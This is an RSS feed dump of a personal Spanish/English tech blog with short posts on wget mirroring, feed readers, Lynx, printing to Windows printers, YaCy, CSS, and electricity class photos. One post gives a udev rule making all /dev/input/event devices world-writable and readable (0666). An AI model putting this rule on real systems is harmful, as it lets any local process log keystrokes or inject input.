</span></span></code></pre></div><ul>
<li><code>--mirror</code> → download recursively</li>
<li><code>--convert-links</code> → make links local</li>
<li><code>--adjust-extension</code> → save files with proper extensions (<code>.html</code>)</li>
<li><code>--page-requisites</code> → include CSS, images, JS</li>
<li><code>--no-parent</code> → avoid downloading unrelated pages</li>
</ul>
<p>The files will be saved under <code>geohot.github.io/blog/</code> in your current folder.</p>
-
My RSS list
https://imlauera.github.io/my_rss/
Sat, 01 Nov 2025 17:44:11 -0300
https://imlauera.github.io/my_rss/
<p>Lo uso con newsboat y newsraft: <code>newsraft -f ~/.newsboat/urls</code></p>
<p>Y tengo un blog en donde uso el historial de commits como mi RSS feed <a href="https://github.com/nobloatnews/nobloatnews.github.io/commits/master.atom">https://github.com/nobloatnews/nobloatnews.github.io/commits/master.atom</a> y el de Linux porque es gracioso <a href="https://github.com/torvalds/linux/commits/master.atom">https://github.com/torvalds/linux/commits/master.atom</a></p>
<p>cat ~/.newsboat/urls</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>https://nobloatnews.github.io/rss.xml
</span></span><span style="display:flex;"><span>https://cursoelectricidad.github.io/feed.xml
</span></span><span style="display:flex;"><span>https://foros.3dgames.com.ar/external.php?type=RSS2&forumids=395
</span></span><span style="display:flex;"><span>https://foros.3dgames.com.ar/external.php?type=RSS2&forumids=363
</span></span><span style="display:flex;"><span>https://stallman.org/rss/rss.xml
</span></span><span style="display:flex;"><span>https://geohot.github.io/blog/feed.xml
</span></span><span style="display:flex;"><span>https://xcancel.com/sstricklandmma/rss
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UC3ts8coMP645hZw9JSD3pqQ
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCld68syR8Wi-GY_n4CaoJGA
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCbpe1SYzZKG4RswEnxxSRZQ
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCdlKPiNQ_Dw20N9CzGms-XA
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCwgKmJM4ZJQRJ-U5NjvR2dg
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCxrN_J1dBX4ir-3xF8u3fUQ
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCR4W7Mq0HD8JoW9KBRm0mZg
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UC1qH20lfqK4b_BgNQ-iP9Ww
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCnhDCF3Slf9MlmYGIr47y-g
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCZbjyqToF-4qmGNwYrhqQtQ
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UC2eYFnH61tmytImy1mTYvhA
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCq-PF3nIPg5KO8po0dHcXsQ
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UC7YOGHUfC1Tb6E4pudI9STA
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCDeWwrp2LUWkDSymrmnfKDQ
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCylGUf9BvQooEFjgdNudoQg
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCRfo-DAifrP3lzcxUHtGm_A
</span></span><span style="display:flex;"><span>https://www.youtube.com/feeds/videos.xml?channel_id=UCrqM0Ym_NbK1fqeQG2VIohg
</span></span></code></pre></div>
-
Accept Lynx cookies always
https://imlauera.github.io/lynx_cookies/
Sat, 01 Nov 2025 10:53:19 -0300
https://imlauera.github.io/lynx_cookies/
<p><a href="https://old.reddit.com/r/commandline/comments/1c0qgm3/using_lynx_browser_drop_your_tips_here/">https://old.reddit.com/r/commandline/comments/1c0qgm3/using_lynx_browser_drop_your_tips_here/</a></p>
<p>Podes agregarlo todo al final del /etc/lynx.cfg</p>
<p><strong>Lynx tiene una configuración retrasada.</strong></p>
<p>Primero podes cambiar la configuración presionando <code>O</code> dentro del navegador pero esa configuración nunca se guarda porque apropósito en <code>/etc/lynx.cfg</code> están comentadas las líneas que habilitan esa configuración por lo menos en ArchLinux.</p>
<p>Tenes 2 opciones descomentar todo eso y luego editar la configuración desde el menú de <code>lynx</code> o escribir la configuración en ese mismo archivo.</p>
-
Cloudflare vs Google
https://imlauera.github.io/cloudflare_google/
Wed, 29 Oct 2025 06:46:49 -0300
https://imlauera.github.io/cloudflare_google/
<p><a href="https://stallman.org/archives/2025-jul-oct.html#25_October_2025_(Cloudflare_verses_Google)">https://stallman.org/archives/2025-jul-oct.html#25_October_2025_(Cloudflare_verses_Google)</a></p>
<p>Cloudflare is leading a campaign for websites to tell Google they do not permit usingtheir pages to train a bullshit generator. This is to pressure Google Search (and other search engines) to stop displaying bullshit summaries instead of search results [2] about those sites.</p>
<p>I agree that bullshit summaries (as they are now) are a bad thing, partly because they are made by programs which are not intelligent, so they are often confused and misrepresent what the site really says.</p>
-
Permiso chmod 666 /dev/input/event* permanente
https://imlauera.github.io/dev_input_event/
Mon, 27 Oct 2025 13:19:45 -0300
https://imlauera.github.io/dev_input_event/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>N<span style="color:#f92672">]</span> esotericwarfare@arch /e/u/rules.d> sudo vim 99-input-event-permissions.rules
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch /e/u/rules.d> cat 99-input-event-permissions.rules
</span></span><span style="display:flex;"><span>KERNEL<span style="color:#f92672">==</span><span style="color:#e6db74">"event[0-9]*"</span>, MODE<span style="color:#f92672">=</span><span style="color:#e6db74">"0666"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch /e/u/rules.d>
</span></span></code></pre></div>
-
Print from GNU/Linux to Windows
https://imlauera.github.io/print_from_linux_to_windows/
Mon, 27 Oct 2025 10:07:39 -0300
https://imlauera.github.io/print_from_linux_to_windows/
<p>Perfect — let’s set this up entirely <strong>from the command line</strong>, no GUI or web interface.
You’ll connect to a <strong>Windows shared printer (SMB)</strong> and register it in <strong>CUPS</strong> so you can use it with <code>lp</code> or <code>lpr</code>.</p>
<hr>
<h2 id="-1-install-required-tools">🧰 1. Install required tools</h2>
<p>Install CUPS and Samba support for SMB printers:</p>
<p><strong>Debian/Ubuntu:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install cups smbclient
</span></span></code></pre></div><p><strong>Arch / Manjaro:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S cups samba
</span></span></code></pre></div><p><strong>Fedora:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo dnf install cups samba-client
</span></span></code></pre></div><hr>
<h2 id="-2-start-and-enable-cups">⚙️ 2. Start and enable CUPS</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl enable --now cups
</span></span></code></pre></div><hr>
<h2 id="-3-check-the-shared-printer-on-the-windows-host">🔍 3. Check the shared printer on the Windows host</h2>
<p>You can discover what printers are shared:</p>
-
Publicidad trucos psicologicos
https://imlauera.github.io/publicidad_trucos_psicologicos/
Sun, 26 Oct 2025 22:26:19 -0300
https://imlauera.github.io/publicidad_trucos_psicologicos/
<p><a href="https://web.archive.org/web/20190323225452/https://www.cheatsheet.com/money-career/7-advertising-tricks-you-should-stop-falling-for.html/">https://web.archive.org/web/20190323225452/https://www.cheatsheet.com/money-career/7-advertising-tricks-you-should-stop-falling-for.html/</a></p>
<p>George Hotz opina que hay que ilegalizar la publicidad o cobrar un gran impuestos.</p>
<hr>
<p><strong>Título:</strong> 7 trucos que usan los publicistas para manipularte y hacerte gastar más dinero
<strong>Autora:</strong> Chloe Della Costa — 22 de mayo de 2017</p>
<hr>
<h3 id="-resumen-general">🧠 <strong>Resumen general</strong></h3>
<p>El artículo explica cómo las empresas utilizan técnicas psicológicas y estrategias visuales para influir en las decisiones de compra, muchas veces sin que el consumidor lo note. Aunque existen leyes y regulaciones para frenar la publicidad engañosa, las marcas siguen aplicando tácticas sutiles —y a veces manipuladoras— para aumentar ventas y moldear percepciones. El texto se basa en el libro <em>Hidden Persuasion</em> de Matthijs van Leeuwen, Rick van Baaren y Marc Andrews.</p>
-
Imagenes auto width
https://imlauera.github.io/imagenes_width/
Sat, 25 Oct 2025 13:40:25 -0300
https://imlauera.github.io/imagenes_width/
<p>Para que las imágenes respeten el ancho de la página:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-css" data-lang="css"><span style="display:flex;"><span><span style="color:#f92672">img</span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">max-width</span>: <span style="color:#ae81ff">100</span><span style="color:#66d9ef">%</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">height</span>: <span style="color:#66d9ef">auto</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">margin</span>: <span style="color:#66d9ef">auto</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">display</span>: <span style="color:#66d9ef">block</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Yacy search engine en ArchLinux
https://imlauera.github.io/yacy/
Fri, 24 Oct 2025 06:22:06 -0300
https://imlauera.github.io/yacy/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S jdk11-openjdk
</span></span><span style="display:flex;"><span>yay -S yacy
</span></span><span style="display:flex;"><span>sudo systemctl start yacy
</span></span></code></pre></div>
-
Build Web1.0 y como subir imagenes a archive.org desde la consola.
https://imlauera.github.io/web1_0_internetarchive/
Thu, 23 Oct 2025 22:36:10 -0300
https://imlauera.github.io/web1_0_internetarchive/
<p>La web moderna esta llena de publicidad y manipulacion, volvamos a la web1.0, si quieren ver como era antes usen <a href="https://wiby.me">Wiby.me</a></p>
<p>Subo las imágenes a Archive.org o a Blogger.com si lo haces desde Archive.org se puede usar el comando <code>source internetarchive/bin/activate.fish && ia upload tag_name *</code> y luego <code>ia metadata tag_name</code></p>
<h2 id="-1-folder-structure">🧱 1. Folder structure</h2>
<p>Create a folder like this:</p>
<pre tabindex="0"><code>my-site/
├── index.html
├── about.html
├── posts/
│ ├── 2025-01-hello.html
│ └── 2025-02-another.html
├── style.css
└── rss.xml
</code></pre><p>You can host this folder on:</p>
-
Electricidad / Clase 82: Clase practica. Rearmamos y emprolijamos tablero de clase anterior.
https://imlauera.github.io/electricidad82/
Thu, 23 Oct 2025 05:53:27 -0300
https://imlauera.github.io/electricidad82/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1o2lLa7L3XUl">https://voca.ro/1o2lLa7L3XUl</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-331">https://archive.org/details/record-331 </a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/AU5WAPH_2VM">https://www.youtube.com/embed/AU5WAPH_2VM</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisHmXWUJNhiqfrnLIiB1tF_oQgwpDtcSFWrn_0EGyhP2KtK7LxS2p5KImXvEFMN1qgj1m9KErcXKmwAGYNXYVDz98msMilNEWgevhCFbgBruNaAnW6ThMVzl0zNPP2zTZNrSSELQVHYIppxvrBUXa8b9yEWzAaMMtUEPW98M0iJ65hUrJ0GuYqmL2pM8g/s4160/IMG_20251022_185223324.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4xwdWso83In7mQEsOpuJqzkDiG8BVGppzew-NdZnxApmNs2KavzDqchZ-3VorDRbGXcGRVjwV_aEl44MtjZwFO40d8HPaafRi9o8j6mcqegkHzs1AmshG9TjXzhi4oSsRHLzay0IN8LPfKGj4B3wpX3M1dpQy_L_kN3fipKnl4XPmdeDQyqtP-I9CtVQ/s4160/IMG_20251022_190615116.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihNMyDLEs2GOGg9OjKBTBRHVbIH1ah04rQKG998ICWn4Wnt3l5FStkwHyhBc3fzafZueSU7deMLalXjDbl3NJ8FRumJNuO31Nco6O_edFY45Bnq169QhQGXlQ9nnhiY5RcP_6Yvi8nBQc8I7LSwdlNfeUgiY7DEyzJ5fO7LD7UIdfsaSuqvpGClzZp2M8/s4160/IMG_20251022_192147606.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK1Kylg-wrwXkEUy8zOpoxm-7wsuWJXXbKySWVQ5XRKV4B883vM-uZSzLylhODLiy55tn1K3D08k3Cag5R2MnGLAJz5-vgQPVeByzO-PTfb5yej4ZOOUVAxMnIK8TXr05XAyUGPNHIquFwJrhd-uz-BxSacE4qybus5mQ5TbJzyGKDc6DKVkBMUqijVMo/s4160/IMG_20251022_192201678.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzdPqFdXDtGvInRzM7O0WbcBs0JVjDzfEc7dw3hFDh0Lxjz22hjBIuty60dJrLcxD2zFfLuAdL0W-lEZIvUneosUKObpzDpiuJ1v5BYaBsayN0KlCPxBla5FdcgpQUebod0fQDB9KtrseNni_MN-GaHVXJQN4hjjM1k9grKMYYss9pmEdgjZvwo_vnRtw/s4160/IMG_20251022_192211596_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEguH1eWHtvoxPuFRIEoBtqiHSs8hznlctSW_p7YrqesD_1H-rSlB9A6f7x2vNp6nd5DtBfZCIkT4MOatFXgbtrYJu7JENESNJCKPFtrZkbQ1Ci0a6Z1urw63Uf3Am-PH858ZqHHiV7UYkh8cfhHLd-UbqCtDdx5YVozjmOmBZ-JHVKj4chgk313q8psw/s4160/IMG_20251022_192215790.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxVSV2dBsfIFExJLC7Z1V_dJ90RMRV4qIClv1jMyktdyZHsz8MsxLW-ro-GAnFaKE7zvDQkKM-StK2SwHt2obDsE6_bg5OJtM238i5LETPXPzUouPNAVQFovFe3BHCulm-KoPsa-lpTEM5KI97vKQnK_EDKyspWTpEhda08PVcYSr9mLR4X1AWRVFyX3o/s4160/IMG_20251022_192429151.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCY3fu90lpsVhtuH3peD8NuS0H3tXpRAdr1vdLu7CMp79_N0WvTYPryQcCCQwzAflZcf7UsWezBRhapjMzsmpipieuLAhwHMKe5AIBvRtqEd5En3paQr-c0ha_6JnaXIKNhcUaSl4vmpMRN474dlM2VztDFfKvm5QV_Bh5gzmhFYiTePECproV1z0TJBw/s4160/IMG_20251022_192659028_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoxgz7C7b4y0S5ZkrlEJKjQyZe8gSR9KmD5pYXXei0zW05NY96NaWVSAnfCZHSKbZqonD_auAt4SJugRUVUZPojH8c29fg7cQMu0VaxVPGAIh2vZock5u2RZt2NwPp15aEZ5yj680pt-1MJQIPnimAXNcAlXLk5J1UIPoL0I0SBYemW5xef7KmDbTBT6w/s4160/IMG_20251022_192710896.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8yW-lO7mlMi4d9GAN98NGiE9keX0qsMTPIBRCLmcCCy0r0f9cUAlfen3DIowdzCdTehT8pUYRJ1EdaK5671r_WDo9FlRkXOzDBd6MQTPVB53dDL7NzJHWfrasw0KCEiXfwW4xe4Ja9PcBJAlM3TFWJnqB3bFyos581Q9eYEZVTTKUDxjZInDEBWbFWAM/s4160/IMG_20251022_195439956_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYh_92XksO6ioJ4lZAvOvJVXJZ-v96V20S2DEXNI42dqWIbpfUfT2I1BUw0Lc8To73z5vaYCdakvvK8_jZ2NmRlKUA9GnJLXkggAFEBbaAyhzJ6veV9a7CqRFpZtCZlzcceqvGMBfCGVOq7YSs7FAzTxtCxxHYA6QaOeJ1V7-K2rzh8aNY1UehgWm7fMM/s4160/IMG_20251022_195445796.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAW3yxxajbIofs2mtRwNOJTAFCRMWk4gg9HmVup3HvoNLVyWFQ5KqC3Gysdmbu_Ncc1UhCpQjNxBfwCPYifIhNlh-r2_Qi4Ic6dO4PyD5OX57p1PIVsdL8P7MBGm4v-UHMqYo2nAD367r1PnFbsljBJX1j6LVfzpWm8Sj_iJ2M6mctzlMBpFKu1q8oKPQ/s4160/IMG_20251022_200235912.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCWr_VeLZmlayb2cHsd02QWvUfJImWBCSsICtZx9wv057a24SMftCIuIOF3xZQgsIN2WQg-Hy2IqPpIRMTADuOqIwNKlX6UABIZ45AteXjATM1M-zU4fACFlw0oXi5eGey4AJoy7q35tP8ZPVRvZ43WRPzceoIfq6QiJfldW9i1P8LwjQ6oplhltdkSXA/s4160/IMG_20251022_200811523.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb0p7dVhb9f65o-fHezfYcvDVHnc0nLOTwdHtwJ2b4sSy6DYHgsYNefHhciMz14n1Tnb3hU5njY8KV4_tlpuqk8Yw9xqhPF2kbSR6ZR2vFg3APi5Ktp9oPtoKbmhzW00STRqYDDYmgH6KSMWc2HVB_gDJpxTGAOBLmFpZZ9rADU1IxIow9QNhv-gvRuWQ/s4160/IMG_20251022_203644283.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1ic3zAGQmG9qxHBn0SZTxUFHNm7IpDX5824uH0mkHjQO5HorUw7mKknZBFA7GjKeER7WiN6WIDHxl5dqMkaGNeYQn3mmUA2VAanMBw8JAtLSfUdvmHZySYFlNZxvf1yyC0_yup7tp3ftpaysFtF-gvr2JRgAhDETK7HQCHcj9vwSiyeaacPShv7NbpGo/s4160/IMG-20251022-WA0004.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGwp4-mn6uzw5CUXMaSrjP5va16rcAWvPcqO532dO1w2o0dTxJfStypxsY7GcY-rLhEB1sKDke-Gz26kujPMioh5-RvzHYJfOcjoPva7BZAg3IzcHAZXU9SjRBmhVtFvxk33G_Wxz1ABra_Z9KShx0pospNqi8I71pvRkVuUEd1Zew0GArZXm6NDWTjvA/s4160/IMG-20251022-WA0005.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfAI2hvxAnWfMHLWehf6eTvqhHcFcpgwj1HPdSavxmj-0LQeTUbuBaN8WWmNP0P__zy_XLxhdpm61sUenQQW_5dnP6PUB40Y1C5uSSCL5etlFYOTy6OFDTjQa-9SMizl1Sz4n1yZWkk5rS87llB-9CgXqGhhqucjTEoOAyfEqImy3Lcu1_SeX_AQACeBY/s4160/IMG-20251022-WA0006.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgtIfHpMFrd1RVJ63mjL56K63MBKHvJrxzqArnfLl5QsFyyPfW_lQ43KJUN8YTjfGql7Qg8kvEMksHHgHGFP01qn2pTq3LQ7S8trgFZPG2ZDVeadrgrrozirS5PxiHBbkus2U-0b8Tn13-jGSBqX0DiIj3FLHVP-6qSuCL_7tqCJvLE0f1mAt9VIi8rmI/s4160/IMG-20251022-WA0008.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfGZeZySLrlXlbRpkSinfSDHA-G-ipD5hkjk06KPXF-I-VAhPTIlYaTfb9b6mu326IM3Xl4mYu3YQrgBDwVWaD-xMDya08KFvIZcIEMZtnSnm76ZLbD_OQ-CcbJEJ81-gC7mqG9IHAIaqYePOSyuZkyiclkqsqp6G79J-IvIsVTF0HSMLvcJHvXcqOlHk/s4160/IMG-20251022-WA0010.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYHq-9T4VxXZbzUwec8irIpWaJZDQrEH2rTHEL17PNGX1pw0X9OsK85VsEo2P9BsQJl9OYRFuHq7UGd6MpCAFgxiw_4xLlC_fggkUSo7Gzom9G0NUuXkyn08xuZX7vVNJd6-1vckP2c21ogy4WE5fmfYT6j70ZZDuv-_mmueR_Oa0VTVGM9iNCGqVhFZE/s4160/IMG-20251022-WA0012.jpg" alt=""></p>
<p>Forma manual/directa, automatica
Corregimos la alimentacion del ITM que iba directo.
Pasamos cable nuetro por al lado del ITM en vez de ir por atras.
Tuvimos problemas encastrar rele contactora.
Puse neutro en A1 iba la fase.</p>
-
Electricidad / Clase 81: Clase práctica tablero con contactor.
https://imlauera.github.io/electricidad81/
Wed, 22 Oct 2025 06:38:37 -0300
https://imlauera.github.io/electricidad81/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1lCa7VtzkXfh">https://voca.ro/1lCa7VtzkXfh</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-327">https://archive.org/details/record-327</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=IjPQbUfCeM8">https://www.youtube.com/watch?v=IjPQbUfCeM8</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGolcogtMH-6_d67dEiMKIJaV5h5T7joDLrIhiuZ8gg0BDSbCuv6BRPq3fxzLRCe1z6CooxNWWq4ECzfRaOZgIg7cZZoCvEV9Vn2RFn4WziJT_AwpLgnnzFIbfXV_jn0VxKZEbG-Jm-yweL3ySZOmEsoDB-kENGiWr183ZBWQh5Ut8Hko_8DAUt4BdiNI/s4160/IMG_20251021_190018352.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNH3K_UIHqBGqVRphw43t71W6OscJrBLyEUlQKN_YR7sh6rOU2SBRE8HzgmSURMS24q2cVHvBMHKtxBAxtotv7DMUIkLeghibQOiVqlCh9xuWGHYidV68PhCSl-RgwVfzldLzUpIzYjJfINzG1LK1Ly_coh827aW2APERM2iP7ohObtC11Rqhw4qxJT3U/s4160/IMG_20251021_190819054.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCnJcxp31hhU2nKf1ODZOTTROIaxPzrZGNX0gScx58X91JrPjbT85KNCjneZawyDVaQd0ngr-wHteM_QcQtkY-xN50-LSclitDF5TWQUv7O0_nm5aYu_H3sdpHqx-6HckDmpKVj1iTSVUuJDeIsQ66mwoATG2AXe58TBcH7tACGZBfu4bMkS9iukCgGJw/s4160/IMG_20251021_190955867_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGhqUbOOPUDyAl15pMSyTuHGfc2xrG3AscXlE5tDdFJpNQzuUZ3lqItURDOERoL_5ceMFFzOSbKx1JqXnja5yfTlNXa3QioR-pkrHBjkCpXPed2ba08ZLkRozPYQ48JZJvn0DE092B-RhGWjrsB6FH6nsSmCSKoADb4B3TeInG-qNDm0NeSnSDR8p6DV8/s4160/IMG_20251021_191034638.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWr9moLUmYjd5r6B29INdt91GVJkHYCi4jL7qTIjiYO87eoh32fh-CEWh8UdeFazhIX-N1z3ZWei0hVnW6SQ7sy7fRkBYVmWxzke6tKKU8Kuh9NwWtZyugqSgglTDG5AF1RXFWXtyntCarsm2GXQ3HWuo6MTPzN3C1fqwoQbZpHTkiA8uYyRJOvhFhV74/s4160/IMG_20251021_192447672.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz0jIpHY-JoIjnLilNClfIv-wNn-nG7IuQbcJpRWz9-z37tfGwVUoybWcZxNhGl3zMwAriH7UJphN0RM6XzfcxiYNEJtU8UdBE8wJZ3DzCXrmnw47EIePTndz-eMfYb6hg9Y5r0YLqtKE45dGWIB228mWTwp_VsijiOTR_UAtfWt_eFYYcKwwl6Ib4EeI/s4160/IMG_20251021_193234277.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZxN-46qlDQFQOmzY_bgHUNe79SXyYWf2nmvTy1Dur2bNz-jaFIyHRX701TLw4OskzzqCPninkEKpyfgU4vdIqU4JvMPZvblf6S2gueDrPEHr4fM-sN8Vaj-xOpRYqebeYauwKvfPQAcT4bPteOVIc-fmqUe4HdPzHRZ_Ags9z2IBNakrpTx3qj5FqiCk/s4160/IMG_20251021_193411049.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaa1fNhvg-6X4nQB0SWkXTW5Se1n2Gaq-uEKysQHShz8H20J2N3jMBMEVtWZJMO9LQy5G371I_8OsCSZQu0aqzPLBb4Y9ZLNvZFf-teexotMhUXjGwyh1Ij-peMq3419MFartsAy0h63J0fitrUiG1sQF3DLJNRNIjtwqJIDUbqoNMN2Ui3dzAQDRwfNs/s4160/IMG_20251021_194045167.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxHB4O84um_Wo_SF30ptcNksX-FmyHRgVyEt-8n9CZclasSUBUIbUz0pyReOgF5Qfk-4PcuQNPgtG1Wlb4NqHAKfzM5MXpheQlaWInY1fqkbMY0tNscE1SAhWmKe5zRwYxlwZfcELvv9ONp4c_Il8xmEY2wHyLlDGFgTwnMOtG9mIuTk5-NzQsjpXpU-Q/s4160/IMG_20251021_194054087.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggDuLqAUqabigT_7cqO22ea2pzS5QT_kj9Yh-fbYRAn-S_Mh9JrfogsGVzFGukddz-mHHQlSwb0L7jbocZzD7C0e6XXScJariUEbtDKJg8ZFJjYHHPdwY6wEJQSYJS0S40jZSvEeguxm036GRS0fiKj4GiDNXHe7FiaHAQCMJn2F3F8D5vX-yXa8eiCVc/s4160/IMG_20251021_194424629.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdcQxgo0XiuqrJngWQOur4ift2jgf99f0nD0FpwUWZI55-Iz8EAvytCiBlU1Rm3sJskJqKEyVobP7qfR64rKgLhAZUPYb82JsNnbMX6n6GWwkvlUldKZ56iAxmL8cIdnr9NBjDWHs_zLdPR75O68BA3gCPHrXWQo8-JTl4lJKZfBUuJzJ-t_s8ktRfjMM/s4160/IMG_20251021_194654865.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTnPppS8L2w1ci3vl2U_Ps0rmyIloHjH8KAG6ApcOlVJtp_hoCjUwEaSrYxwp1dm3g_LpmdeMU6BaHJy120LRdMKdVPO1BPP8rsCKl0Ri_Hebb2qChloSG-xk5Nh1qjFUzcIOYwm_2Ltb75IEOnQOlDWGtr-XOjq_XJSg200-C4CGCax7AcSZicMDHess/s4160/IMG_20251021_194853859.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmG7_UQPnggj6pU46WaGZEyOxSOO4JsQtTiDDeA6P5s326CbQ_gWRNHSCsDQS6pzZFdgoLNcKP-8stEfvk-lZVClkaH-lOO-q0i2KWCbvsRDnN7-diTrDo6hAa0QgVNpBYUal6tjREjatV2UEbhO4RwGOhkqrv2_8Ur7vef450pelZbQ-1Iir0qaqTx9A/s4160/IMG_20251021_200057413.jpg" alt="">
